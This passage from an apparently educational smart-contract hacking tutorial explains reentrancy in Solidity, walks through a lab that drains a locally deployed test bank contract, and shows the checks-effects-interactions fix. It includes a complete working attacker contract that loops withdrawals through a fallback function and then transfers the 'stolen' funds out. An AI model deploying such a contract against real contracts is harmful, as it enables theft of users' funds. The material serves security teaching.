<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p><h3 style="text-align: left;">Simple Reentrancy Target Analysis Video:</h3>
<div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/UA-V7bRpiNY" width="320" youtube-src-id="UA-V7bRpiNY"></iframe></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><p class="MsoNormal"><br /></p><p class="MsoNormal">There are three functions in the above contract, but the one
we need to pay special attention to is the one that interacts with outside
users. The withdraw function sends funds to the address of the user who called
the withdraw function. This would be classified as an interaction and needs to
follow our secure pattern. <o:p></o:p></p>
<p class="MsoNormal">The line breakdown of the withdraw function is as follows: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Line 12: Checks that you are only withdrawing
the amount you have in your account or sends back an error.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Line 13: Sends your requested amount to the
address the requested a withdrawal.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Line 15: Deducts the amount withdrawn from the
accounts total balance.</p><p class="MsoListParagraphCxSpLast" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Line 16. Simply returns your current balance.</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l5 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoNormal">Based on the above breakdown this function is following a: <o:p></o:p></p>
<p class="MsoNormal">Checks <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">à</span>
Interaction <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">à</span>
Effects <o:p></o:p></p>
<p class="MsoNormal">which violates the <o:p></o:p></p>
<p class="MsoNormal">Checks <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">à</span>
Effects <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">à</span>
Interactions <o:p></o:p></p>
<p class="MsoNormal">Because we interact with an external entity prior to
updating the effects, the target contract is at risk for a call by a
malicious contract that executes a loop with a malicious purpose. <o:p></o:p></p>
<h3><a name="_Toc47892495">Passing the Checks:</a> <o:p></o:p></h3>
<p class="MsoNormal">Essentially what will happen is that the attacker will use
his own malicious contract to call the withdraw function after adding a small
value to his account. When the withdraw function is called the attackers
contract will attempt to withdraw a smaller amount then the attacker has in his
account which will pass the Checks portion of the pattern on line 12. <o:p></o:p></p>
<h3><a name="_Toc47892496">Looping the Interaction:</a> <o:p></o:p></h3>
<p class="MsoNormal">Next the target contract will attempt to interact with the
attacker’s contract by sending the valid withdrawn value from the contract.
However, the attacker will have a fallback function that receives the sent
value and calls the withdraw function again.<o:p></o:p></p>
<p class="MsoNormal">The second time calling the target contract will result in
the exact same checks and interaction without ever updating the balance via the
Effects portion. Over and Over and Over again. <o:p></o:p></p>
<h3><a name="_Toc47892497">Updating the Effects:</a><o:p></o:p></h3>
<p class="MsoNormal">The Effects portion will only be updated after the attacker’s loop ends and the damage is done. Which means that the attacker has
withdrawn funds many times over, but only subtracted that value a single time.
Potentially draining all of the funds of the contract. <o:p></o:p></p>
<p class="MsoNormal"> <o:p></o:p></p>
<h2><a name="_Toc47892498">Attacking Code Example:</a> <o:p></o:p></h2>
<p class="MsoNormal">If we take a look at the following attacker’s contract, we
will see how the attacker creates this loop and we can analyze the
order of operations that makes this possible. <o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">interface</span><span style="color: white;"> targetInterface{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() external payable; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> withdrawAmount) external; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> contract simpleReentrancyAttack{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> targetInterface bankAddress = targetInterface(TARGET_ADDRESS_HERE); <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> amount = </span><span style="color: indianred;">1</span><span style="color: white;"> ether; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> bankAddress.deposit.</span><span style="color: #e28964;">value</span><span style="color: white;">(amount)();<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> attack() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">15.</span><!--[endif]--><span style="color: white;"> bankAddress.withdraw(amount); <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">16.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">17.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">18.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> retrieveStolenFunds() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">19.</span><!--[endif]--><span style="color: white;"> msg.sender.transfer(address(</span><span style="color: #e28964;">this</span><span style="color: white;">).balance);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">20.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">21.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">22.</span><!--[endif]--><span style="color: white;"> fallback () external payable{ <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">23.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">if</span><span style="color: white;"> (address(bankAddress).balance >= amount){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">24.</span><!--[endif]--><span style="color: white;"> bankAddress.withdraw(amount);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">25.</span><!--[endif]--><span style="color: white;"> } <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">26.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">27.</span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">The attacking code above is used by the attacker to siphon funds
from a vulnerable contract. The main attack code in this contract is found on
lines 22-24. This code creates a looping condition into the other contract by
using a fallback function.</p>
<h2>What is a fallback function?<o:p></o:p></h2>
<p class="MsoNormal">A fallback function is a default function in a contract that
is called when no other function is specified. So, in this instance when the
contract receives funds and no other directions from the withdraw function,
then the fallback function will execute on line 22. The fallback function will
check that the target contract still contains a balance larger then what we are
requesting which is defined on line 8 as “1 Ether”. <o:p></o:p></p>
<p class="MsoNormal">If this check passes then our contract calls back into the
withdraw function again at line 24. Which starts the whole process over and
over again until the balance of the target contract is less than 1 ether. Let’s take a look at a graphical
representation of this to help understand what’s going on. <o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG4NrBn1qjNJlnJvFfRzst8Ptp-a4VY8Q90Kc9P6EdGGY07RPG8fjQfqybxzray8SH1wtJJVvAJ8cJPh8utigcHO1JsRHhQfBLn-QtQWXVVe_MCaHkWBzXK71ovrjrpyMxc92EcXQkhVz6/s941/ree1.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="126" data-original-width="941" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG4NrBn1qjNJlnJvFfRzst8Ptp-a4VY8Q90Kc9P6EdGGY07RPG8fjQfqybxzray8SH1wtJJVvAJ8cJPh8utigcHO1JsRHhQfBLn-QtQWXVVe_MCaHkWBzXK71ovrjrpyMxc92EcXQkhVz6/w781-h106/ree1.png" width="781" /></a></div><br /><p class="MsoNormal"><br /></p>
<p align="center" class="MsoNormal" style="text-align: center;"><v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
<v:stroke joinstyle="miter">
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0">
<v:f eqn="sum @0 1 0">
<v:f eqn="sum 0 0 @1">
<v:f eqn="prod @2 1 2">
<v:f eqn="prod @3 21600 pixelWidth">
<v:f eqn="prod @3 21600 pixelHeight">
<v:f eqn="sum @0 0 1">
<v:f eqn="prod @6 1 2">
<v:f eqn="prod @7 21600 pixelWidth">
<v:f eqn="sum @8 21600 0">
<v:f eqn="prod @7 21600 pixelHeight">
<v:f eqn="sum @10 21600 0">
</v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
<v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
<o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="Picture_x0020_29" o:spid="_x0000_i1026" style="height: 70.5pt; mso-wrap-style: square; visibility: visible; width: 528.75pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal">The picture above shows the target contract and the
attackers contract side by side. The attack function calls into the withdraw
function initially. Then the fallback function is entered from the withdrawal transaction
and returns right back to the beginning of the withdraw function from the
fallback functions call back into the contract.
This forms the loop between withdraw and fallback until the contract is
below 1 ether. <o:p></o:p></p>
<p class="MsoNormal">That explains the main attack portion of the contract. The
other parts of this attacking contract are just helping setup for the attack
for example the interface code at line 1 simply creates an interface into the
target contract via its function definitions.
This interface is then set to the address of the target contract on line
7. With this interface you can now call the functions directly with the
bankAddress interface using the function name as seen in the deposit function
and attack function to call deposit and withdraw. <o:p></o:p></p>
<p class="MsoNormal">There is one other function we didn’t mention which has
nothing to do with the attack but helps us claim our funds after the contract
is sent the ether from the attack. This function is on line 18 named
retrieveStolenFunds. It simply takes the balance of “this” contract and
transfers it to our personal address.<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892499">Hands on Lab - Attacking a Simple Reentrancy</a></h2>
<p class="MsoNormal">Let’s try attacking the banking contract to see Reentrancy
in action. Type out the code above for
the target contract and understand what each piece of the contract does. Then type out the attacker’s contract and try
to piece together what each part of the attack does and what the sequence of
execution will be. <o:p></o:p></p>
<p class="MsoNormal">Note: It’s important that you type out this code and do not
copy paste as it will help you in spotting issues in the future and your
understanding of how things work. <o:p></o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->With account 1 deploy the target
simpleReentrancy contract</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Deposit 20 Ether into the account by adjusting
the Value field and selecting Ether</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Copy paste the address of the target contract
and enter it into the target Interface variable in the attackers contract</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Deploy the attacker’s contract
simpleReentrancyAttack contract </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Deposit 2 ether into your account using the
attackers contract deposit function</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Then execute the attack function with the attack
button</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Why did it pause? </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->When attack completes execution note your second
accounts balance and click retrieveStolenFunds</p><p class="MsoListParagraphCxSpLast" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Note your new balance</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">After running the attack, you should have noticed that your
balance was updated by roughly 22 ether give or take fees. This would be the balance
of the target contract initially and your own balance returned. You would have
also noticed a pause when you clicked attack. This is because you are waiting
for the contracts loop to complete its execution. It was calling the contract
over and over again until 22 times.</p><p class="MsoNormal"><br /></p>
<h3 style="text-align: left;"><o:p>Exploiting Reentrancy on the Target Smart Contract: </o:p></h3><p></p>
<iframe allow="autoplay; fullscreen; picture-in-picture" allowfullscreen="" frameborder="0" height="360" src="https://player.vimeo.com/video/637295816?h=fef6fc51e9" width="640"></iframe>
<p><a href="https://vimeo.com/637295816">Smart Contract Hacking 0x09 Exploiting Reentrancy.mp4</a> from <a href="https://vimeo.com/consolecowboys">Console Cowboys</a> on <a href="https://vimeo.com">Vimeo</a>.</p>
<h2><a name="_Toc47892500"><br /></a></h2><h2><a name="_Toc47892500">Hands on Lab - Fixing the Checks Effects interaction
Pattern</a><o:p></o:p></h2>
<p class="MsoNormal">Reentrancy is a relatively easy vulnerability to fix, yet also
a very easy mistake to make. It’s easy to make a mistake because the vulnerable
logic makes sense in real world logic. The
vulnerable code should function correctly, if it were not interacting with a
malicious contract. However, we do not expect an attacker’s contract to be the
receiver of the withdraw, thus throwing a wrench in real world logic. This is why we need to re-code this to function
correctly using a secure pattern when dealing with DApps and web3.0. <o:p></o:p></p>
<p class="MsoNormal">Now let’s correct the coding pattern by switching the order
of operations to first decrease the accounts balance and then complete then initiate
the withdraw transaction. The following image shows both the vulnerable and
fixed code, where the original code is the on top and the fixed code is below: <o:p></o:p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><v:shape id="Picture_x0020_31" o:spid="_x0000_i1025" style="height: 241.5pt; mso-wrap-style: square; visibility: visible; width: 332.25pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifcbcC9GZ0k-4HIA-hZRwbmk79hd_I7wBpHpm8tmfye3k-6qfuD9zIOQPDHA6V-pM55mpOF5-cTIEHtCRcxQPehlM5nYNT-otCm-xh3s4ymDk_BQzvmR8MVaGnilgWNU58jPCh7CGrK8x-/s519/ree2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="377" data-original-width="519" height="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifcbcC9GZ0k-4HIA-hZRwbmk79hd_I7wBpHpm8tmfye3k-6qfuD9zIOQPDHA6V-pM55mpOF5-cTIEHtCRcxQPehlM5nYNT-otCm-xh3s4ymDk_BQzvmR8MVaGnilgWNU58jPCh7CGrK8x-/w625-h454/ree2.png" width="625" /></a></div><br /><p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
